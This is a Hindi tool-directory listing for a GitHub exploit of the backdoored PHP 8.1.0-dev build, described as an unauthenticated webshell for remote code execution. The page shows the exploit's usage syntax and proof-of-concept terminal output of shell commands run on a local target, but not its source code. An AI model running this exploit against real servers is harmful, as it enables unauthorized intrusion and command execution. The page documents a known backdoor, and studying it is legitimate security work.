Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/coldfusionx/php-8.1.0-dev_webshell-rce
ExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubcoldfusionx/php-8.1.0-dev_webshell-rce

PHP-8.1.0-dev_WebShell-RCE

PHP 8.1.0-dev WebShell Remote Code Execution

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
315 साल पहलेअभी तक समीक्षित नहीं

PHP 8.1.0-dev WebShell RCE (Unauthenticated)

PHP 8.1.0-dev WebShell RCE (Unauthenticated) के लिए एक्सप्लॉइट कोड

अपेक्षित परिणाम: PHP 8.1.0-dev सर्वर पर स्थापित बैकडोर का शोषण करना और इस प्रकार दूरस्थ रूप से कमांड निष्पादित करने हेतु WebShell प्राप्त करना।

केवल शैक्षिक उद्देश्यों तथा कॉर्पोरेट वातावरण में परीक्षण के लिए अभिप्रेत है।

यह एक्सप्लॉइट Python 3.8.6 पर परीक्षण किया गया था

उपयोग:

root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]

PHP 8.1.0-dev WebShell RCE by ColdFusionX

optional arguments:
  -h, --help         show this help message and exit
  -l URL, --url URL  PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)

Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami

उपयोगकर्ता इनपुट :

यह एक्सप्लॉइट प्रारंभ में चलाने के लिए एकल तर्क की अपेक्षा करता है :

  • -l : PHP 8.1.0-dev लक्ष्य URL

POC

  • परिदृश्य 1 : मान्य संवेदनशील लक्ष्य
root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Target is running on PHP 8.1.0-dev

*Shoot your commands below* 

[^] WebShell=- id

uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)

[^] WebShell=- hostname

shockwave

[^] WebShell=- ^C
Exiting.
  • परिदृश्य 2 : अमान्य लक्ष्य
root@kitploit:~
cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Invalid URL or Target Not Vulnerable

संदर्भ

  • https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
  • https://news-web.php.net/php.internals/113838
  • https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
  • https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
टूल डाउनलोड करें